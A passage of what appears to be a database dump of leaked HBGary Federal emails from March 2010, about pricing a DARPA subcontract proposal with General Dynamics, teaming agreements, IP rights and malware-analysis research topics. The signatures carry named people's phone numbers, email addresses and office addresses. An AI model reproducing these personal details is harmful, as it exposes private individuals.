Errin L.\r\nSubject: HBGary Pricing Question\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nGreetings;\r\n\r\nThere is not a way for us\r\nGD to price a subs proposal.&nbsp; \r\n\r\nV/R\r\n\r\nRex\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8702,'aaron_hbgary_com/8702.html'),(3754,'2010-03-09','\"Vela, Ryan\" <Ryan.Vela@gd-ais.com>','/aaron@hbgary.com/new/1297001909.M186085P3547Q3754.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','RE: HBGary Pricing Question','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nI want to help all of us get through this as painless as\r\npossible. &nbsp;However, our pricing excel files have our &#8220;magic&#8221;\r\nin them and I would be in big trouble if I released any one of them. &nbsp;Our formulas\r\nare guarded and I am unable to release even a screenshot of the files.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nRyan\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nRyan Vela\r\nLead Cyber Security Forensic Examiner\r\n\r\nCyber Protection and Digital Forensics\r\nGeneral Dynamics Advanced Information Systems\r\n2721 Technology Drive, Suite 300\r\nAnnapolis Junction, MD 20701\r\nOffice: 240-456-5841\r\n\r\nMobile: 832-429-4919\r\n\r\nThis email message is for the sole use of the intended\r\nrecipient(s) and may contain confidential and privileged information. Any\r\nunauthorized review, use, disclosure, or distribution is prohibited. If you are\r\nnot an intended recipient, please contact the sender by reply email and destroy\r\nall copies of the original message.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Starr, Christopher\r\nH. \r\nSent: Monday, March 08, 2010 8:02 PM\r\nTo: Aaron Barr\r\nCc: Vela, Ryan\r\nSubject: RE: HBGary Pricing Question\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nRyan,\r\n\r\n&nbsp;\r\n\r\nCan you answer this from HBGary?\r\n\r\n&nbsp;\r\n\r\nChris\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, March 08, 2010 7:52 PM\r\nTo: Starr, Christopher H.\r\nSubject: Re: HBGary Pricing Question\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nChris,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nNot sure if I am reading Ryans email below correctly, either\r\nway is it possible to get the master lead sheet (excel) that the sub lead\r\nsheets roll up to..if we can get that I think we will be good. &nbsp;We are\r\ngetting a license to pro pricer now.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 8, 2010, at 7:13 PM, Starr, Christopher H. wrote:\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAaron,\r\nsee below.&nbsp;\r\nIt turns out we cannot\r\ndirectly price your TA#3 proposal, but we are able to send you send our updated pricing templates.&nbsp; Is this ok?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n_____________________________________________\r\nFrom: Vela, Ryan\r\nSent: Monday, March 08, 2010 6:35 PM\r\nTo: Starr, Christopher H.; Brunelli, Rex; Harlow, Douglas M.\r\nCc: Harris, Allison M.; Wenthold, Russell L.; Autry, Errin L.\r\nSubject: RE: HBGary Pricing Question\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nWe are\r\nproviding them updated RFP Attachment 9 Subcontractor Pricing templates. \r\n\r\nRyan Vela\r\nLead Cyber Security Forensic Examiner\r\n\r\nCyber\r\nProtection and Digital Forensics\r\nGeneral Dynamics Advanced Information Systems\r\n2721 Technology Drive, Suite 300\r\nAnnapolis Junction, MD 20701\r\nOffice: 240-456-5841\r\n\r\nMobile:\r\n832-429-4919\r\n\r\nThis\r\nemail message is for the sole use of the intended recipient(s) and may contain\r\nconfidential and privileged information. Any unauthorized review, use,\r\ndisclosure, or distribution is prohibited. If you are not an intended\r\nrecipient, please contact the sender by reply email and destroy all copies of\r\nthe original message.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n_____________________________________________\r\nFrom: Brunelli, Rex\r\nSent: Monday, March 08, 2010 6:17 PM\r\nTo: Starr, Christopher H.; Vela, Ryan; Harlow, Douglas M.\r\nCc: Harris, Allison M.; Wenthold, Russell L.; Autry, Errin L.\r\nSubject: HBGary Pricing Question\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nGreetings;\r\n\r\nThere is not a way for us\r\nGD to price a subs proposal.&nbsp; \r\n\r\nV/R\r\n\r\nRex\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4482,'aaron_hbgary_com/4482.html'),(3755,'2010-03-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001909.M389481P3547Q3755.eml','\"Ryan Vela\" <Ryan.Vela@gd-ais.com>,\"Ryan Vela\" <Ryan.Vela@gd-ais.com>,,','Re: HBGary Pricing Question','gotcha. &nbsp;OK we weill work it out...thanks.AaronOn Mar 8, 2010, at 8:24 PM, Vela, Ryan wrote:Aaron,&nbsp;I want to help all of us get through this as painless as possible. &nbsp;However, our pricing excel files have our “magic” in them and I would be in big trouble if I released any one of them. &nbsp;Our formulas are guarded and I am unable to release even a screenshot of the files.&nbsp;&nbsp;Ryan&nbsp;&nbsp;&nbsp;Ryan VelaLead Cyber Security Forensic ExaminerCyber Protection and Digital ForensicsGeneral Dynamics Advanced Information Systems2721 Technology Drive, Suite 300Annapolis Junction, MD 20701Office: 240-456-5841Mobile: 832-429-4919This email message is for the sole use of the intended recipient(s) and may contain confidential and privileged information. Any unauthorized review, use, disclosure, or distribution is prohibited. If you are not an intended recipient, please contact the sender by reply email and destroy all copies of the original message.&nbsp;From:&nbsp;Starr, Christopher H.&nbsp;Sent:&nbsp;Monday, March 08, 2010 8:02 PMTo:&nbsp;Aaron BarrCc:&nbsp;Vela, RyanSubject:&nbsp;RE: HBGary Pricing Question&nbsp;Ryan,&nbsp;Can you answer this from HBGary?&nbsp;Chris&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, March 08, 2010 7:52 PMTo:&nbsp;Starr, Christopher H.Subject:&nbsp;Re: HBGary Pricing Question&nbsp;Chris,&nbsp;Not sure if I am reading Ryans email below correctly, either way is it possible to get the master lead sheet (excel) that the sub lead sheets roll up to..if we can get that I think we will be good. &nbsp;We are getting a license to pro pricer now.&nbsp;Thanks,Aaron&nbsp;&nbsp;On Mar 8, 2010, at 7:13 PM, Starr, Christopher H. wrote:&nbsp;Aaron,&nbsp;see below.&nbsp;&nbsp;It turns out we cannot directly price&nbsp;your TA#3 proposal, but we&nbsp;are able to send you send&nbsp;our&nbsp;updated pricing templates.&nbsp; Is this ok?&nbsp;_____________________________________________From:&nbsp;Vela, RyanSent:&nbsp;Monday, March 08, 2010 6:35 PMTo:&nbsp;Starr, Christopher H.; Brunelli, Rex; Harlow, Douglas M.Cc:&nbsp;Harris, Allison M.; Wenthold, Russell L.; Autry, Errin L.Subject:&nbsp;RE: HBGary Pricing Question&nbsp;We are providing them updated RFP Attachment 9 Subcontractor Pricing templates.Ryan VelaLead Cyber Security Forensic ExaminerCyber Protection and Digital ForensicsGeneral Dynamics Advanced Information Systems2721 Technology Drive, Suite 300Annapolis Junction, MD 20701Office: 240-456-5841Mobile: 832-429-4919This email message is for the sole use of the intended recipient(s) and may contain confidential and privileged information. Any unauthorized review, use, disclosure, or distribution is prohibited. If you are not an intended recipient, please contact the sender by reply email and destroy all copies of the original message.&nbsp;&nbsp;_____________________________________________From:&nbsp;Brunelli, RexSent:&nbsp;Monday, March 08, 2010 6:17 PMTo:&nbsp;Starr, Christopher H.; Vela, Ryan; Harlow, Douglas M.Cc:&nbsp;Harris, Allison M.; Wenthold, Russell L.; Autry, Errin L.Subject:&nbsp;HBGary Pricing Question&nbsp;Greetings;There is not a way for us GD to price a subs proposal.&nbsp;V/RRex&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',646,'aaron_hbgary_com/646.html'),(3756,'2010-03-09','\"Brianne O\'Brien\" <brianneo@securedecisions.avi.com>','/aaron@hbgary.com/new/1297001916.M521307P3547Q3756.eml','\"Aaron Barr\" <aaron@hbgary.com>','Secure Decisions Tech Proposal','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron &#8211;\r\n\r\n&nbsp;\r\n\r\nNot trying to clutter up your inbox with more docs than you\r\nneed, but I wanted to ensure that you received our tech proposal.&nbsp; I\r\nuploaded the tech prop to Google Docs, but since I&#8217;m new to dealing with\r\nGoogle Docs, I figured I&#8217;d send you the Word document as &#8220;insurance&#8221;\r\nin the event that I am more &#8220;Google Docs-challenged&#8221; than I know! J\r\n\r\n&nbsp;\r\n\r\nRegards, Brianne\r\n\r\n&nbsp;\r\n\r\nBrianne F. O\'Brien\r\n\r\nProject Manager\r\n\r\nApplied Visions, Inc.\r\n\r\nSecure Decisions Div.\r\n\r\n6 Bayview Avenue\r\n\r\nNorthport, NY 11768\r\n\r\n(631) 754-4920 x150\r\n\r\n(516) 702-7703 (cell)\r\n\r\nbrianneo@securedecisions.avi.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15402,'aaron_hbgary_com/15402.html'),(3757,'2010-03-09','\"Irby Thompson\" <irby@pikewerks.com>','/aaron@hbgary.com/new/1297001916.M917848P3547Q3757.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Pikewerks Products','Yes, I would like that as well. This week and next week are pretty much out, but we could try the following week (March 22-26).\r\n\r\n	-irby\r\n\r\n\r\nOn Mar 8, 2010, at 5:11 PM, Aaron Barr wrote:\r\n\r\n> Irby,\r\n> \r\n> At some point after this week I would very much like to get a capabilities brief from you on Pikewerks products and learn more about SecondLook, and your other capabilities.  We could have more room at that point to discuss what types of things we could pursue together.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\n',2070,'aaron_hbgary_com/2070.html'),(3758,'2010-03-09','\"Irby Thompson\" <irby@pikewerks.com>','/aaron@hbgary.com/new/1297001928.M511146P3547Q3758.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Re: Teaming Agreement and updated NDA','Ted,\r\n\r\nPlease find the signed NDA with HBGary, and the Teaming Agreement with HBGary Federal attached. Please countersign and email back a fully-executed copy.\r\n\r\nThe only question I had was on Section 2.6 of the Teaming Agreement - I just want to make sure that this does not conflict with our participation as a subcontractor on the GDAIS proposal for Technical Area 1.\r\n\r\n	Regards,\r\n	Irby\r\n\r\n\r\n\r\n',12275,'aaron_hbgary_com/12275.html'),(3759,'2010-03-09','\"Vela, Ryan\" <Ryan.Vela@gd-ais.com>','/aaron@hbgary.com/new/1297001930.M508970P3547Q3759.eml','ted@hbgary.com,\"Aaron Barr\" <aaron@hbgary.com>,ted@hbgary.com,\"Aaron Barr\" <aaron@hbgary.com>,','RE: Request from HBGary: Master SOW','Tasks, milestones, and deliverables are included in this RFP/SOW\r\n(attached).\r\n\r\nAlso attached is the Pricing Template.\r\n\r\nThe official email from our Subcontracts PM (Stefanie Corcino) will be\r\ncoming in the morning, but I wanted to get this out ASAP.\r\n\r\nRyan Vela\r\n\r\n\r\n-----Original Message-----\r\nFrom: Starr, Christopher H. \r\nSent: Monday, March 08, 2010 7:16 PM\r\nTo: Vela, Ryan\r\nCc: Ted Vera; Aaron Barr\r\nSubject: Request from HBGary: Master SOW\r\n\r\nRyan,\r\n\r\nCan you send the current state of the Milestones to me and Aaron Barr?\r\nFor some reason, I have had to request access to Sharepoint again.\r\n\r\nChris\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, March 08, 2010 7:08 PM\r\nTo: Starr, Christopher H.\r\nCc: Ted Vera\r\nSubject: Master SOW\r\n\r\nChris,\r\n\r\nCan you send to us your working master SOW?\r\n\r\nThanks,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',5780,'aaron_hbgary_com/5780.html'),(3760,'2010-03-09','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297001930.M790074P3547Q3760.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Trynor Mark\" <mark.trynor@gmail.com>','Clifford Stoll: Why Web Won\'t Be Nirvana - Newsweek.com','http://www.newsweek.com/id/106554\r\n\r\nRead this article from \'95, it\'s a trip\r\n\r\n',6428,'aaron_hbgary_com/6428.html'),(3761,'2010-03-09','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001931.M12658P3547Q3761.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','RE: Notes','Aaron,\r\n\r\nI see two scenarios where we need special IP language.  \r\n\r\n(1) In the event that we deliver trait data in the DDNA format then we will\r\napply Specially Negotiated Rights.  The language I have now is for SBIR\r\nRights, not IP developed by HBGary.  Either our attorney or the GD attorney\r\nneed to rewrite the paragraph for this scenario.\r\n\r\n(2) Do you anticipate HBGary delivering any SBIR-derived work for TA #1\r\nwhere we will want to deliver anything other than unlimited rights?\r\n\r\nBob \r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, March 08, 2010 4:43 PM\r\nTo: Bob Slapnik; Ted Vera\r\nSubject: Notes\r\n\r\nOver the weekend.  The 2 or 3 tasks have been expanded on, so in the SOWs\r\nthere are going to be new tasks.  Need to bid to the expanded tasks in the\r\nSOW.  THey will update the templates quickly.\r\n\r\nIn terms of the writing.  The technical team is focused on finishing up the\r\ntechnical approach.\r\n\r\nBob please send Chris the filled out Bios and also send him information on\r\nthe IP language we have put together for our technology.  We are going to\r\nhave an IP language discussion tomorrow.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.733 / Virus Database: 271.1.1/2726 - Release Date: 03/08/10\r\n02:34:00\r\n\r\n',9700,'aaron_hbgary_com/9700.html'),(3762,'2010-03-09','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001931.M204371P3547Q3762.eml','\"Aaron Barr\" <aaron@hbgary.com>','Useful tech data on DDNA','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nI spoke with Scott about DDNA and traits that are already\r\nimplemented.&nbsp; He said it is getting pretty advanced.&nbsp; Here are its\r\ncomponents at a high level:\r\n\r\n&nbsp;\r\n\r\nBoolean logic that operates on underlying data and evidence\r\n\r\nStrings and byte codes\r\n\r\nString rules for kernel, user space and heap space\r\n\r\nSymbol analysis on binaries\r\n\r\nPointer tracing\r\n\r\nPartial hashing\r\n\r\n&nbsp;\r\n\r\nThe rules and analysis can be quite complex.\r\n\r\n&nbsp;\r\n\r\nI don&#8217;t think this gives away an secret sauce.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6470,'aaron_hbgary_com/6470.html'),(3763,'2010-03-09','\"Martin Pillion\" <martin@hbgary.com>','/aaron@hbgary.com/new/1297001931.M551407P3547Q3763.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','stream of thoughts/logical walk through in my brain','\r\nHope this helps.\r\n\r\n- Martin\r\n\r\nAaron Barr wrote:\r\n> Martin,\r\n>\r\n> Some thoughts as your looking to develop some content.\r\n>\r\n> 1. What are the challenges to automated malware analysis for behavior,\r\n> functions, and intent.\r\n> 2. What is the current state of the art and why is this this the right\r\n> approach.\r\n> 3. What research are you proposing (traits, categories/genomes, recording,\r\n> auto analysis/baysian reasoning to determine traits and patterns,etc.)\r\n>\r\n> 4. Tell about new research we can do to make our in-memory static analysis\r\n> stronger.\r\n> 5. Tell about ways to automatically analyze the huge piles of low level data\r\n> we can gather from BOTH in-memory static analysis and REcon dynamic\r\n> analysis.\r\n> 6. Tell about ways to automatically analyze the huge piles of low level data\r\n> we can gather from BOTH in-memory static analysis and REcon dynamic\r\n> analysis.\r\n> 7. Why we should use Bayesian Reasoning or some other AI model to analyze\r\n> data.  What does this give us?  What are the challenges?\r\n> 8. Tell about how may want to research a scaled back way to trigger new code\r\n> paths to execute.  Tell about the challenges of doing it, but also tell\r\n> about its advantages\r\n> 9. Tell about what we learned when we tried to implement AFR -- why too hard\r\n> to solve, be specific, intractable problem, too much state data\r\n> 10. Tell about why it is powerful to do BOTH in-memory static analysis AND\r\n> runtime analysis.  How does the data generate from the 2 methods differ?\r\n> What are the advantages of having data from both methods?  \r\n>\r\n> Please use examples in each of the research areas if possible.\r\n>\r\n> *Question for you Martin is there anything valuable to pre-processing\r\n> activities for de-obfuscation and trigger analysis, external identification\r\n> and analysis, etc.\r\n>\r\n> Thank You,\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n>\r\n>   \r\n\r\n',12864,'aaron_hbgary_com/12864.html'),(3764,'2010-03-09','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001931.M736710P3547Q3764.eml','\"Martin Pillion\" <martin@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Martin Pillion\" <martin@hbgary.com>','RE: stream of thoughts/logical walk through in my brain','Martin,\r\n\r\nExcellent content. Thank you.\r\n\r\nBob \r\n\r\n\r\n-----Original Message-----\r\nFrom: Martin Pillion [mailto:martin@hbgary.com] \r\nSent: Tuesday, March 09, 2010 12:18 AM\r\nTo: Aaron Barr\r\nCc: Ted Vera; Bob Slapnik\r\nSubject: stream of thoughts/logical walk through in my brain\r\n\r\n\r\nHope this helps.\r\n\r\n- Martin\r\n\r\nAaron Barr wrote:\r\n> Martin,\r\n>\r\n> Some thoughts as your looking to develop some content.\r\n>\r\n> 1. What are the challenges to automated malware analysis for behavior, \r\n> functions, and intent.\r\n> 2. What is the current state of the art and why is this this the right \r\n> approach.\r\n> 3. What research are you proposing (traits, categories/genomes, \r\n> recording, auto analysis/baysian reasoning to determine traits and \r\n> patterns,etc.)\r\n>\r\n> 4. Tell about new research we can do to make our in-memory static \r\n> analysis stronger.\r\n> 5. Tell about ways to automatically analyze the huge piles of low \r\n> level data we can gather from BOTH in-memory static analysis and REcon \r\n> dynamic analysis.\r\n> 6. Tell about ways to automatically analyze the huge piles of low \r\n> level data we can gather from BOTH in-memory static analysis and REcon \r\n> dynamic analysis.\r\n> 7. Why we should use Bayesian Reasoning or some other AI model to \r\n> analyze data.  What does this give us?  What are the challenges?\r\n> 8. Tell about how may want to research a scaled back way to trigger \r\n> new code paths to execute.  Tell about the challenges of doing it, but \r\n> also tell about its advantages 9. Tell about what we learned when we \r\n> tried to implement AFR -- why too hard to solve, be specific, \r\n> intractable problem, too much state data 10. Tell about why it is \r\n> powerful to do BOTH in-memory static analysis AND runtime analysis.  \r\n> How does the data generate from the 2 methods differ?\r\n> What are the advantages of having data from both methods?  \r\n>\r\n> Please use examples in each of the research areas if possible.\r\n>\r\n> *Question for you Martin is there anything valuable to pre-processing \r\n> activities for de-obfuscation and trigger analysis, external \r\n> identification and analysis, etc.\r\n>\r\n> Thank You,\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n>\r\n>   \r\n\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.733 / Virus Database: 271.1.1/2726 - Release Date: 03/08/10\r\n14:33:00\r\n\r\n',5962,'aaron_hbgary_com/5962.html'),(3765,'2010-03-09','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001931.M977822P3547Q3765.eml','\"Martin Pillion\" <martin@hbgary.com>,\"Martin Pillion\" <martin@hbgary.com>,','Re: stream of thoughts/logical walk through in my brain','This is extremely helpful, thanks Martin!\r\n\r\nTed\r\n\r\n\r\n\r\nOn Mar 8, 2010, at 10:18 PM, Martin Pillion  wrote:\r\n\r\n>\r\n> Hope this helps.\r\n>\r\n> - Martin\r\n>\r\n> Aaron Barr wrote:\r\n>> Martin,\r\n>>\r\n>> Some thoughts as your looking to develop some content.\r\n>>\r\n>> 1. What are the challenges to automated malware analysis for\r\n>> behavior,\r\n>> functions, and intent.\r\n>> 2. What is the current state of the art and why is this this the\r\n>> right\r\n>> approach.\r\n>> 3. What research are you proposing (traits, categories/genomes,\r\n>> recording,\r\n>> auto analysis/baysian reasoning to determine traits and\r\n>> patterns,etc.)\r\n>>\r\n>> 4. Tell about new research we can do to make our in-memory static\r\n>> analysis\r\n>> stronger.\r\n>> 5. Tell about ways to automatically analyze the huge piles of low\r\n>> level data\r\n>> we can gather from BOTH in-memory static analysis and REcon dynamic\r\n>> analysis.\r\n>> 6. Tell about ways to automatically analyze the huge piles of low\r\n>> level data\r\n>> we can gather from BOTH in-memory static analysis and REcon dynamic\r\n>> analysis.\r\n>> 7. Why we should use Bayesian Reasoning or some other AI model to\r\n>> analyze\r\n>> data.  What does this give us?  What are the challenges?\r\n>> 8. Tell about how may want to research a scaled back way to trigger\r\n>> new code\r\n>> paths to execute.  Tell about the challenges of doing it, but also\r\n>> tell\r\n>> about its advantages\r\n>> 9. Tell about what we learned when we tried to implement AFR -- why\r\n>> too hard\r\n>> to solve, be specific, intractable problem, too much state data\r\n>> 10. Tell about why it is powerful to do BOTH in-memory static\r\n>> analysis AND\r\n>> runtime analysis.  How does the data generate from the 2 methods\r\n>> differ?\r\n>> What are the advantages of having data from both methods?\r\n>>\r\n>> Please use examples in each of the research areas if possible.\r\n>>\r\n>> *Question for you Martin is there anything valuable to pre-processing\r\n>> activities for de-obfuscation and trigger analysis, external\r\n>> identification\r\n>> and analysis, etc.\r\n>>\r\n>> Thank You,\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>\r\n> \r\n',7862,'aaron_hbgary_com/7862.html'),(3766,'2010-03-09','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001932.M224455P3547Q3766.eml','\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','HBGary pricing for TA #3','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nTed and Aaron,\r\n\r\n&nbsp;\r\n\r\nHere is my stab at pricing for TA #3.&nbsp; Here is my\r\nlogic:\r\n\r\n&nbsp;\r\n\r\nFigure $8 M price to win.&nbsp; One-fourth goes to Fed\r\nand&nbsp; one-fourth goes to HBG.&nbsp; The rest goes to other subs.\r\n\r\nTed said to lean toward front end loading the dollars.&nbsp;\r\nThis makes sense based on what Van Putte said and I figure that HBGary, Inc.\r\nwill be needed more in the beginning to lay the foundation of the work.\r\n\r\nR/E labor category isn&#8217;t on the team yet.&nbsp; Figure\r\nwe can hire him for $90k.\r\n\r\nFigure that lower skilled programmer work increases over time\r\n\r\nI tried to be realistic as to how much time Greg would\r\nreally give it given his other responsibilities\r\n\r\nI tried to push as many hours to lower skilled people, but\r\nScott told me that most of the trait work today is being done by Greg, Martin\r\nand Shawn.&nbsp; The idea is that we hire a good, young R/E who will be able to\r\ndo work.\r\n\r\n&nbsp;\r\n\r\nSo, Ted, you will parse out the hours across work tasks,\r\nright?\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14130,'aaron_hbgary_com/14130.html'),(3767,'2010-03-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001932.M536386P3547Q3767.eml','\"Martin Pillion\" <martin@hbgary.com>,\"Martin Pillion\" <martin@hbgary.com>,','Re: stream of thoughts/logical walk through in my brain','Thanks Martin.\r\n\r\nVery Helpful.\r\n\r\nOn Mar 9, 2010, at 12:18 AM, Martin Pillion wrote:\r\n\r\n> \r\n> Hope this helps.\r\n> \r\n> - Martin\r\n> \r\n> Aaron Barr wrote:\r\n>> Martin,\r\n>> \r\n>> Some thoughts as your looking to develop some content.\r\n>> \r\n>> 1. What are the challenges to automated malware analysis for behavior,\r\n>> functions, and intent.\r\n>> 2. What is the current state of the art and why is this this the right\r\n>> approach.\r\n>> 3. What research are you proposing (traits, categories/genomes, recording,\r\n>> auto analysis/baysian reasoning to determine traits and patterns,etc.)\r\n>> \r\n>> 4. Tell about new research we can do to make our in-memory static analysis\r\n>> stronger.\r\n>> 5. Tell about ways to automatically analyze the huge piles of low level data\r\n>> we can gather from BOTH in-memory static analysis and REcon dynamic\r\n>> analysis.\r\n>> 6. Tell about ways to automatically analyze the huge piles of low level data\r\n>> we can gather from BOTH in-memory static analysis and REcon dynamic\r\n>> analysis.\r\n>> 7. Why we should use Bayesian Reasoning or some other AI model to analyze\r\n>> data.  What does this give us?  What are the challenges?\r\n>> 8. Tell about how may want to research a scaled back way to trigger new code\r\n>> paths to execute.  Tell about the challenges of doing it, but also tell\r\n>> about its advantages\r\n>> 9. Tell about what we learned when we tried to implement AFR -- why too hard\r\n>> to solve, be specific, intractable problem, too much state data\r\n>> 10. Tell about why it is powerful to do BOTH in-memory static analysis AND\r\n>> runtime analysis.  How does the data generate from the 2 methods differ?\r\n>> What are the advantages of having data from both methods?  \r\n>> \r\n>> Please use examples in each of the research areas if possible.\r\n>> \r\n>> *Question for you Martin is there anything valuable to pre-processing\r\n>> activities for de-obfuscation and trigger analysis, external identification\r\n>> and analysis, etc.\r\n>> \r\n>> Thank You,\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n>> \r\n>> \r\n>> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',9083,'aaron_hbgary_com/9083.html'),(3768,'2010-03-09','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297001932.M827837P3547Q3768.eml','all@hbgary.com','Article on Dark Reading about Responder Pro and RECon','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAll,\r\n\r\n \r\n\r\nHere is the link to the story.\r\n\r\n \r\n\r\nhttp://www.darkreading.com/blog/archives/2010/03/new_analysis_to.html\r\n\r\n \r\n\r\nMake it a great day.\r\n\r\n \r\n\r\nRich\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10214,'aaron_hbgary_com/10214.html'),(3769,'2010-03-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001933.M182490P3547Q3770.eml','\"Ted Vera\" <ted@hbgary.com>','Reasoning Engine Name','Would it be too cute to name the AI:\r\n\r\nBayesian Reasoning, Analysis, and Inference Node (BRAIN)\r\n\r\nSo then we would have the SMART engine and the BRAIN.  :)\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',10750,'aaron_hbgary_com/10750.html'),(3770,'2010-03-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001933.M366971P3547Q3771.eml','\"Chris Hummel\" <chris_hummel@hotmail.com>','Re: Introductions','Thanks. &nbsp;Sorry Chris. &nbsp;I have been consumed with this DARPA proposal. &nbsp;Let me check schedules to see if we can get something set up this week.AaronOn Mar 7, 2010, at 12:38 PM, Chris Hummel wrote:Hi Aaron,&nbsp;I wanted to follow up with you from the other week regarding the technical interview.&nbsp; This week is shaping up to be fairly busy but I\'m sure I can 